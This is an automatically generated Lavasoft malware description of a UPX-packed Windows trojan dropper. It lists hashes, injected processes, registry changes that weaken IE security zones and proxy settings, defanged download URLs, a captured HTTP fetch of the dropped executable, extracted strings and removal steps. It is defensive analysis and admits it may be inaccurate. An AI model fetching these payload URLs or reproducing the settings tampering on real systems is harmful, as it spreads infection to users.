Trojan.Generic.14762375_cc4a7f7561

by malwarelabrobot on July 27th, 2015 in Malware Descriptions.

Susp_Dropper (Kaspersky), Trojan.Generic.14762375 (B) (Emsisoft), Trojan.Generic.14762375 (AdAware), Trojan.Win32.FlyStudio.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)
Behaviour: Trojan


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

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Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: cc4a7f756158f80f013d38d5c2ae849e
SHA1: 81d833d9ae5ee48a5a98cfe044873087b58016fe
SHA256: e45e098942e0c53b54a4e8c8a087b25ff9fbca007b7e6ede8c0e44a7943cb2c9
SSDeep: 3072:2QTpNe57sgDS5n8iwcas1mkT77MUEkgk6SwvtR6RVRS aKBWSo8JsWKP/2/6NVKP:VTpNCmdJfgSekjZwvQn5JPrAWEBb oS
Size: 237056 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: PackerUPXCompresorGratuitowwwupxsourceforgenet, UPolyXv05_v6
Company: Igor Pavlov
Created at: 2015-06-22 09:43:54
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

dibiye_110_14677.exe:1992

The Trojan injects its code into the following process(es):

%original file name%.exe:1736

Mutexes

The following mutexes were created/opened:

ZonesLockedCacheCounterMutex
ZonesCounterMutex
ZonesCacheCounterMutex
WininetProxyRegistryMutex
WininetConnectionMutex
WininetStartupMutex
c:!documents and settings!adm!local settings!history!history.ie5!
c:!documents and settings!adm!cookies!
c:!documents and settings!adm!local settings!temporary internet files!content.ie5!
_!MSFTHISTORY!_
RasPbFile
ShimCacheMutex

File activity

The process %original file name%.exe:1736 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0IWNLYLO\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PIBOHYF\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\58NWODX7\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\456749AF\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\dibiye_110_14677.exe (1744 bytes)

Registry activity

The process dibiye_110_14677.exe:1992 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EE 1D D0 51 81 E3 71 28 D8 DE 4C E1 34 50 B5 2D"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@xpsp3res.dll,-20001" = "Diagnose Connection Problems..."

The process %original file name%.exe:1736 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1A 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4E BB 0E 6B B3 44 E5 B6 A2 1D A4 AF D3 E1 A3 8A"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5 File path
063adf6a362034b74c81b7917449610d c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\dibiye_110_14677.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
UPX0 4096 512000 0 0 d41d8cd98f00b204e9800998ecf8427e
UPX1 516096 229376 227840 5.54346 fcb9652c2b33f44afabff9751fa46b9e
.rsrc 745472 8192 8192 2.61656 9a1d94d67e502ca7d8ed91e38da33ca0

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://www.tslongjian.com/play/110/14677/ 121.43.78.213
hxxp://120.55.150.114/1437859896-110-14677/


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY Unsupported/Fake Windows NT Version 5.0
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile

Traffic

GET /1437859896-110-14677/ HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: 120.55.150.114
Cache-Control: no-cache
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Sat, 25 Jul 2015 21:31:37 GMT
Content-Type: application/octet-stream
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.2.17
Content-Disposition: attachment; filename=ofimul110l14677.exe
Set-Cookie: route=;Path=/
5a8..MZ......................@........................................
.......!..L.!This program cannot be run in DOS mode....$..........!j..
rj..rj..rMr.rd..rMr.rw..rj..rF..rc..ru..rc..r...rc..r...rt..ri..rc..rd
..rt..rk..rc..rk..rRichj..r........PE..L....Y.U.....................&l
t;[email protected]!....@.......
..............................,........F......................8C......
.............................o..@.......................@.............
.......text............................... ..`.rdata.. ...............
............@[email protected]........`[email protected]....
...H...6..............@[email protected][email protected]....
......................................................................
......................................................................
......................................................................
......................................................................
.....................................................lLD............V.
.......D$..t.V..........^.....U.....j.h[.C.d.....P..(...V.0.E.3.P..$0.
..d........D$.P.D$......D$.......(.C........j.........htLD.........L$.
Q.<....T$...$8..........V ......L$...$8........~...3...$0...d......
Y^..]...........Z...............D$.P.....Y.....V...w....D$..t.V.......
...^......Z...............................pMD....................|F.ul
...|[email protected].......`[email protected]...
......E.xMD.....E.........E.....E....E.....E....E...j.h(.C.d.....P
<<< skipped >>>


GET /play/110/14677/ HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: VVV.tslongjian.com
Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily
Date: Sat, 25 Jul 2015 21:31:36 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.2.17
location: hXXp://120.55.150.114/1437859896-110-14677/
0..

The Trojan connects to the servers at the folowing location(s):

%original file name%.exe_1736:

`.rsrc
BODudp
t$(SSh
~%UVW
u$SShe
Baidu_Com_90000294.exe
Baidu_Com_90000419.exe
C:\Users\Public\Desktop\PP
2.0.lnk
C:\Users\Public\Desktop\9377
dibiye_110_14677.exe
hXXp://VVV.tslongjian.com/play/110/14677/
F%*.*f
CNotSupportedException
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
COMCTL32.DLL
CCmdTarget
__MSVCRT_HEAP_SELECT
user32.dll
.PAVCException@@
.PAVCNotSupportedException@@
.PAVCFileException@@
(*.prn)|*.prn|
(*.*)|*.*||
Shell32.dll
Mpr.dll
Advapi32.dll
User32.dll
Gdi32.dll
Kernel32.dll
(&07-034/)7 '
?? / %d]
%d / %d]
: %d]
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|BMP
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
%s:%d
windows
out.prn
%d.%d
%d / %d
%d/%d
Bogus message code %d
(%d-%d):
%ld%c
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
HTTP/1.0
%s <%s>
Reply-To: %s
From: %s
To: %s
Subject: %s
Date: %s
Cc: %s
%a, %d %b %Y %H:%M:%S
SMTP
.PAVCObject@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.PAVCArchiveException@@
zcÁ
%original file name%.exe
c:\%original file name%.exe
#include "l.chs\afxres.rc" // Standard components
GetWindowsDirectoryA
WinExec
GetProcessHeap
GetCPInfo
RegCreateKeyExA
RegOpenKeyExA
RegCloseKey
GetViewportOrgEx
SetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
ScaleViewportExtEx
GetViewportExtEx
ShellExecuteA
GetKeyState
CreateDialogIndirectParamA
UnhookWindowsHookEx
SetWindowsHookExA
HttpQueryInfoA
InternetCanonicalizeUrlA
HttpSendRequestA
HttpOpenRequestA
InternetCrackUrlA
.text
`.rdata
@.data
.rsrc
4.bh!
=.yyIp
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity name="E.App" processorArchitecture="x86" version="5.1.0.0" type="win32"/><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency></assembly>
KERNEL32.DLL
ADVAPI32.dll
COMCTL32.dll
comdlg32.dll
GDI32.dll
ole32.dll
OLEAUT32.dll
RASAPI32.dll
SHELL32.dll
USER32.dll
WININET.dll
WINMM.dll
WINSPOOL.DRV
WS2_32.dll
(*.*)

%original file name%.exe_1736_rwx_00401000_000B3000:

t$(SSh
~%UVW
u$SShe
Baidu_Com_90000294.exe
Baidu_Com_90000419.exe
C:\Users\Public\Desktop\PP
2.0.lnk
C:\Users\Public\Desktop\9377
dibiye_110_14677.exe
hXXp://VVV.tslongjian.com/play/110/14677/
F%*.*f
CNotSupportedException
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
COMCTL32.DLL
CCmdTarget
__MSVCRT_HEAP_SELECT
user32.dll
.PAVCException@@
.PAVCNotSupportedException@@
.PAVCFileException@@
(*.prn)|*.prn|
(*.*)|*.*||
Shell32.dll
Mpr.dll
Advapi32.dll
User32.dll
Gdi32.dll
Kernel32.dll
(&07-034/)7 '
?? / %d]
%d / %d]
: %d]
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|BMP
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
%s:%d
windows
out.prn
%d.%d
%d / %d
%d/%d
Bogus message code %d
(%d-%d):
%ld%c
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
HTTP/1.0
%s <%s>
Reply-To: %s
From: %s
To: %s
Subject: %s
Date: %s
Cc: %s
%a, %d %b %Y %H:%M:%S
SMTP
.PAVCObject@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.PAVCArchiveException@@
zcÁ
%original file name%.exe
c:\%original file name%.exe
#include "l.chs\afxres.rc" // Standard components
GetWindowsDirectoryA
WinExec
GetProcessHeap
GetCPInfo
RegCreateKeyExA
RegOpenKeyExA
RegCloseKey
GetViewportOrgEx
SetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
ScaleViewportExtEx
GetViewportExtEx
ShellExecuteA
GetKeyState
CreateDialogIndirectParamA
UnhookWindowsHookEx
SetWindowsHookExA
HttpQueryInfoA
InternetCanonicalizeUrlA
HttpSendRequestA
HttpOpenRequestA
InternetCrackUrlA
.text
`.rdata
@.data
.rsrc
(*.*)


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    dibiye_110_14677.exe:1992

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0IWNLYLO\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PIBOHYF\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\58NWODX7\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\456749AF\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\dibiye_110_14677.exe (1744 bytes)

  4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  5. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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